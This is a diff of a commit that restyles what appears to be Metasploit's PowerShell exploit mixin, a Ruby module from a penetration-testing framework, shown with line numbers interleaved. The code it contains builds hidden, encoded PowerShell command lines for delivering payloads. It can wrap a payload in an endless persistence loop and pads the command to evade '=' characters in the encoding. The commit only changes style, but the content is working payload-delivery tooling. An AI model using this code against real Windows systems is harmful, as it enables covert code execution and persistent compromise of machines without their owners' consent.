3
3
4
4
module Msf
5
5
module Exploit ::Powershell
6
-
7
6
PowershellScript = Rex ::Exploitation ::Powershell ::Script
8
7
9
8
def initialize ( info = { } )
@@ -16,12 +15,7 @@ def initialize(info = {})
16
15
OptBool . new ( 'Powershell::strip_whitespace' , [ true , 'Strip whitespace' , false ] ) ,
17
16
OptBool . new ( 'Powershell::sub_vars' , [ true , 'Substitute variable names' , false ] ) ,
18
17
OptBool . new ( 'Powershell::sub_funcs' , [ true , 'Substitute function names' , false ] ) ,
19
- OptEnum . new ( 'Powershell::method' , [ true , 'Payload delivery method' , 'reflection' , [
20
- 'net' ,
21
- 'reflection' ,
22
- 'old' ,
23
- 'msil'
24
- ] ] ) ,
18
+ OptEnum . new ( 'Powershell::method' , [ true , 'Payload delivery method' , 'reflection' , %w( net reflection old msil ) ] ) ,
25
19
] , self . class )
26
20
end
27
21
@@ -36,7 +30,7 @@ def encode_script(script_in)
36
30
# Build script object
37
31
psh = PowershellScript . new ( script_in )
38
32
# Invoke enabled modifiers
39
- datastore . select { |k , v | k =~ /^Powershell::(strip|sub)/ and v } . keys . map do |k |
33
+ datastore . select { |k , v | k =~ /^Powershell::(strip|sub)/ and v } . keys . map do |k |
40
34
mod_method = k . split ( '::' ) . last . intern
41
35
psh . send ( mod_method )
42
36
end
@@ -56,7 +50,7 @@ def compress_script(script_in, eof = nil)
56
50
# Build script object
57
51
psh = PowershellScript . new ( script_in )
58
52
# Invoke enabled modifiers
59
- datastore . select { |k , v | k =~ /^Powershell::(strip|sub)/ and v } . keys . map do |k |
53
+ datastore . select { |k , v | k =~ /^Powershell::(strip|sub)/ and v } . keys . map do |k |
60
54
mod_method = k . split ( '::' ) . last . intern
61
55
psh . send ( mod_method )
62
56
end
@@ -75,14 +69,14 @@ def compress_script(script_in, eof = nil)
75
69
#
76
70
# @return [String] Powershell command line with arguments
77
71
def generate_psh_command_line ( opts )
78
- if opts [ :path ] and ( opts [ :path ] [ -1 , 1 ] != " \\ " )
79
- opts [ :path ] << " \\ "
72
+ if opts [ :path ] and ( opts [ :path ] [ -1 , 1 ] != '\\' )
73
+ opts [ :path ] << '\\'
80
74
end
81
75
82
76
if opts [ :no_full_stop ]
83
- binary = " powershell"
77
+ binary = ' powershell'
84
78
else
85
- binary = " powershell.exe"
79
+ binary = ' powershell.exe'
86
80
end
87
81
88
82
args = generate_psh_args ( opts )
@@ -122,13 +116,13 @@ def generate_psh_command_line(opts)
122
116
#
123
117
# @return [String] Powershell command arguments
124
118
def generate_psh_args ( opts )
125
- return "" unless opts
119
+ return '' unless opts
126
120
127
- unless opts . has_key ? :shorten
121
+ unless opts . key ? :shorten
128
122
opts [ :shorten ] = ( datastore [ 'Powershell::method' ] != 'old' )
129
123
end
130
124
131
- arg_string = " "
125
+ arg_string = ' '
132
126
opts . each_pair do |arg , value |
133
127
case arg
134
128
when :encodedcommand
@@ -140,25 +134,25 @@ def generate_psh_args(opts)
140
134
when :file
141
135
arg_string << "-File #{ value } " if value
142
136
when :noexit
143
- arg_string << " -NoExit " if value
137
+ arg_string << ' -NoExit ' if value
144
138
when :nologo
145
- arg_string << " -NoLogo " if value
139
+ arg_string << ' -NoLogo ' if value
146
140
when :noninteractive
147
- arg_string << " -NonInteractive " if value
141
+ arg_string << ' -NonInteractive ' if value
148
142
when :mta
149
- arg_string << " -Mta " if value
143
+ arg_string << ' -Mta ' if value
150
144
when :outputformat
151
145
arg_string << "-OutputFormat #{ value } " if value
152
146
when :sta
153
- arg_string << " -Sta " if value
147
+ arg_string << ' -Sta ' if value
154
148
when :noprofile
155
- arg_string << " -NoProfile " if value
149
+ arg_string << ' -NoProfile ' if value
156
150
when :windowstyle
157
151
arg_string << "-WindowStyle #{ value } " if value
158
152
end
159
153
end
160
154
161
- #Command must be last (unless from stdin - etc)
155
+ # Command must be last (unless from stdin - etc)
162
156
if opts [ :command ]
163
157
arg_string << "-Command #{ opts [ :command ] } "
164
158
end
@@ -182,10 +176,10 @@ def generate_psh_args(opts)
182
176
arg_string . gsub! ( '-WindowStyle ' , '-w ' )
183
177
end
184
178
185
- #Strip off first space character
179
+ # Strip off first space character
186
180
arg_string = arg_string [ 1 ..-1 ]
187
- #Remove final space character
188
- arg_string = arg_string [ 0 ..-2 ] if ( arg_string [ -1 ] == " " )
181
+ # Remove final space character
182
+ arg_string = arg_string [ 0 ..-2 ] if ( arg_string [ -1 ] == ' ' )
189
183
190
184
arg_string
191
185
end
@@ -202,14 +196,14 @@ def generate_psh_args(opts)
202
196
# @return [String] Wrapped powershell code
203
197
def run_hidden_psh ( ps_code , payload_arch , encoded )
204
198
arg_opts = {
205
- : noprofile => true ,
206
- : windowstyle => 'hidden' ,
199
+ noprofile : true ,
200
+ windowstyle : 'hidden' ,
207
201
}
208
202
209
203
if encoded
210
204
arg_opts [ :encodedcommand ] = ps_code
211
205
else
212
- arg_opts [ :command ] = ps_code . gsub ( "'" , "''" )
206
+ arg_opts [ :command ] = ps_code . gsub ( "'" , "''" )
213
207
end
214
208
215
209
# Old technique fails if powershell exits..
@@ -224,7 +218,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
224
218
$s.UseShellExecute=$false
225
219
$p=[System.Diagnostics.Process]::Start($s)
226
220
EOS
227
- process_start_info . gsub! ( "\n " , ';' )
221
+ process_start_info . gsub! ( "\n " , ';' )
228
222
229
223
archictecure_detection = <<EOS
230
224
if([IntPtr]::Size -eq 4){
@@ -234,7 +228,7 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
234
228
};
235
229
EOS
236
230
237
- archictecure_detection . gsub! ( "\n " , "" )
231
+ archictecure_detection . gsub! ( "\n " , '' )
238
232
239
233
archictecure_detection + process_start_info
240
234
end
@@ -264,17 +258,17 @@ def run_hidden_psh(ps_code, payload_arch, encoded)
264
258
# argument in single quotes unless :encode_final_payload
265
259
#
266
260
# @return [String] Powershell command line with payload
267
- def cmd_psh_payload ( pay , payload_arch , opts = { } )
261
+ def cmd_psh_payload ( pay , payload_arch , opts = { } )
268
262
opts [ :persist ] ||= datastore [ 'Powershell::persist' ]
269
263
opts [ :prepend_sleep ] ||= datastore [ 'Powershell::prepend_sleep' ]
270
264
opts [ :method ] ||= datastore [ 'Powershell::method' ]
271
265
272
266
if opts [ :encode_inner_payload ] && opts [ :encode_final_payload ]
273
- raise RuntimeError , " :encode_inner_payload and :encode_final_payload are incompatible options"
267
+ fail RuntimeError , ' :encode_inner_payload and :encode_final_payload are incompatible options'
274
268
end
275
269
276
270
if opts [ :no_equals ] && !opts [ :encode_final_payload ]
277
- raise RuntimeError , " :no_equals requires :encode_final_payload option to be used"
271
+ fail RuntimeError , ' :no_equals requires :encode_final_payload option to be used'
278
272
end
279
273
280
274
psh_payload = case opts [ :method ]
@@ -285,15 +279,15 @@ def cmd_psh_payload(pay, payload_arch, opts={})
285
279
when 'old'
286
280
Msf ::Util ::EXE . to_win32pe_psh ( framework , pay )
287
281
when 'msil'
288
- raise RuntimeError , " MSIL Powershell method no longer exists"
282
+ fail RuntimeError , ' MSIL Powershell method no longer exists'
289
283
else
290
- raise RuntimeError , " No Powershell method specified"
284
+ fail RuntimeError , ' No Powershell method specified'
291
285
end
292
286
293
287
# Run our payload in a while loop
294
288
if opts [ :persist ]
295
- fun_name = Rex ::Text . rand_text_alpha ( rand ( 2 ) + 2 )
296
- sleep_time = rand ( 5 ) + 5
289
+ fun_name = Rex ::Text . rand_text_alpha ( rand ( 2 ) + 2 )
290
+ sleep_time = rand ( 5 ) + 5
297
291
vprint_status ( "Sleep time set to #{ sleep_time } seconds" )
298
292
psh_payload = "function #{ fun_name } {#{ psh_payload } };"
299
293
psh_payload << "while(1){Start-Sleep -s #{ sleep_time } ;#{ fun_name } ;1};"
@@ -334,8 +328,8 @@ def cmd_psh_payload(pay, payload_arch, opts={})
334
328
final_payload = run_hidden_psh ( smallest_payload , payload_arch , encoded )
335
329
336
330
command_args = {
337
- : noprofile => true ,
338
- : windowstyle => 'hidden'
331
+ noprofile : true ,
332
+ windowstyle : 'hidden'
339
333
} . merge ( opts )
340
334
341
335
if opts [ :encode_final_payload ]
@@ -345,14 +339,14 @@ def cmd_psh_payload(pay, payload_arch, opts={})
345
339
# payload contains none.
346
340
if opts [ :no_equals ]
347
341
while command_args [ :encodedcommand ] . include? '='
348
- final_payload << " "
342
+ final_payload << ' '
349
343
command_args [ :encodedcommand ] = encode_script ( final_payload )
350
344
end
351
345
end
352
346
else
353
347
if opts [ :use_single_quotes ]
354
348
# Escape Single Quotes
355
- final_payload . gsub! ( "'" , "''" )
349
+ final_payload . gsub! ( "'" , "''" )
356
350
# Wrap command in quotes
357
351
final_payload = "'#{ final_payload } '"
358
352
end
@@ -370,20 +364,17 @@ def cmd_psh_payload(pay, payload_arch, opts={})
370
364
371
365
vprint_status ( "Powershell command length: #{ command . length } " )
372
366
if command . length > 8191
373
- raise RuntimeError , " Powershell command length is greater than the command line maximum (8192 characters)"
367
+ fail RuntimeError , ' Powershell command length is greater than the command line maximum (8192 characters)'
374
368
end
375
369
376
370
command
377
371
end
378
372
379
-
380
373
#
381
374
# Useful method cache
382
375
#
383
376
module PshMethods
384
377
include Rex ::Exploitation ::Powershell ::PshMethods
385
378
end
386
-
387
379
end
388
380
end
389
-
0 commit comments